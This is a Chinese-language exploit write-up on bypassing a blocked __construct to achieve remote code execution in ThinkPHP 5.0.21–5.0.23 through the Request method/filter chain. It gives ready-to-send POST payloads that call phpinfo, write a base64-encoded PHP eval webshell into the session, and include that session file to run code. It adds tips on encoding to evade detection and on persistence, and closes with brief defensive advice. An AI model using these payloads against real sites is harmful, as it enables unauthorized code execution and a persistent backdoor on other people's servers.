TP5 RCE利用链改造
字数 1152 2025-08-29 08:32:19

ThinkPHP 5.0.23 RCE利用链改造技术分析

漏洞背景

在对某网站渗透过程中发现目标系统使用ThinkPHP 5.0.23框架,存在method RCE漏洞。但常规利用方式因__construct关键字被禁用而失效,需要寻找替代利用链。

核心漏洞点

  • Request类的method方法:允许调用类中的任意方法
  • filter链机制:通过控制filter链可以间接执行代码

利用条件

  • ThinkPHP版本:5.0.21~5.0.23
  • 需要开启debug模式(部分利用链)

利用链分析

1. 基础利用原理

传统利用方式是通过__construct方法覆写请求参数和filter链,但当__construct被禁用时,需要寻找替代方案。

2. 开启debug模式下的利用

2.1 phpinfo执行链

利用步骤

  1. filter链第一个参数为server[REQUEST_METHOD](字符串"POST")
  2. 需要找到能接受字符串参数并返回非零整数的函数作为跳板
  3. 使用error_reporting函数作为中介

POC

POST请求:
0=error_reporting&1=phpinfo&_method=filter

filter链流程

POST -> error_reporting -> phpinfo -> 输出信息

2.2 写入session

利用步骤

  1. 使用think\Session::set将数据写入session
  2. 添加base64编码层避免直接查杀

POC

POST /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==
0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter

filter链流程

输入数据 -> base64_decode -> think\Session::set -> 写入session

2.3 包含session文件

利用步骤

  1. 使用\think\Cookie::get获取Cookie中的字符串作为文件名
  2. 通过think\__include_file包含session文件

POC

POST /index.php
Cookie: POST=session文件名
0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==

filter链流程

POST -> \think\Cookie::get -> think\__include_file -> 包含执行

3. 未开启debug模式的利用

发现当程序执行流程中发生Error时,error_handler会触发利用链:

  1. route.php文件中引入错误
  2. 发送payload触发
  3. \think\Error类的appError方法在处理错误时会收集参数,从而触发filter链

版本适应性

  • 5.0.21~5.0.23:上述payload均适用
  • 5.0其他版本:需要修改包含session的payload路径

其他版本POC示例

POST /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93
1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==

关键技巧总结

  1. filter链引导:将不可控参数引导至可控参数
  2. 函数选择:寻找能接受字符串并返回有用值的函数作为跳板
  3. 多层编码:使用base64等编码方式绕过简单防护
  4. 错误触发:通过制造框架错误来触发利用链
  5. session利用:通过写入和包含session文件实现持久化

防御建议

  1. 及时升级ThinkPHP框架至最新安全版本
  2. 禁用不必要的HTTP方法
  3. 严格过滤用户输入的_method参数
  4. 限制filter函数的可用范围
  5. 生产环境务必关闭debug模式
ThinkPHP 5.0.23 RCE利用链改造技术分析 漏洞背景 在对某网站渗透过程中发现目标系统使用ThinkPHP 5.0.23框架,存在method RCE漏洞。但常规利用方式因 __construct 关键字被禁用而失效,需要寻找替代利用链。 核心漏洞点 Request类的method方法 :允许调用类中的任意方法 filter链机制 :通过控制filter链可以间接执行代码 利用条件 ThinkPHP版本:5.0.21~5.0.23 需要开启debug模式(部分利用链) 利用链分析 1. 基础利用原理 传统利用方式是通过 __construct 方法覆写请求参数和filter链,但当 __construct 被禁用时,需要寻找替代方案。 2. 开启debug模式下的利用 2.1 phpinfo执行链 利用步骤 : filter链第一个参数为 server[REQUEST_METHOD] (字符串"POST") 需要找到能接受字符串参数并返回非零整数的函数作为跳板 使用 error_reporting 函数作为中介 POC : filter链流程 : 2.2 写入session 利用步骤 : 使用 think\Session::set 将数据写入session 添加base64编码层避免直接查杀 POC : filter链流程 : 2.3 包含session文件 利用步骤 : 使用 \think\Cookie::get 获取Cookie中的字符串作为文件名 通过 think\__include_file 包含session文件 POC : filter链流程 : 3. 未开启debug模式的利用 发现当程序执行流程中发生Error时, error_handler 会触发利用链: 在 route.php 文件中引入错误 发送payload触发 \think\Error 类的 appError 方法在处理错误时会收集参数,从而触发filter链 版本适应性 5.0.21~5.0.23 :上述payload均适用 5.0其他版本 :需要修改包含session的payload路径 其他版本POC示例 : 关键技巧总结 filter链引导 :将不可控参数引导至可控参数 函数选择 :寻找能接受字符串并返回有用值的函数作为跳板 多层编码 :使用base64等编码方式绕过简单防护 错误触发 :通过制造框架错误来触发利用链 session利用 :通过写入和包含session文件实现持久化 防御建议 及时升级ThinkPHP框架至最新安全版本 禁用不必要的HTTP方法 严格过滤用户输入的 _method 参数 限制filter函数的可用范围 生产环境务必关闭debug模式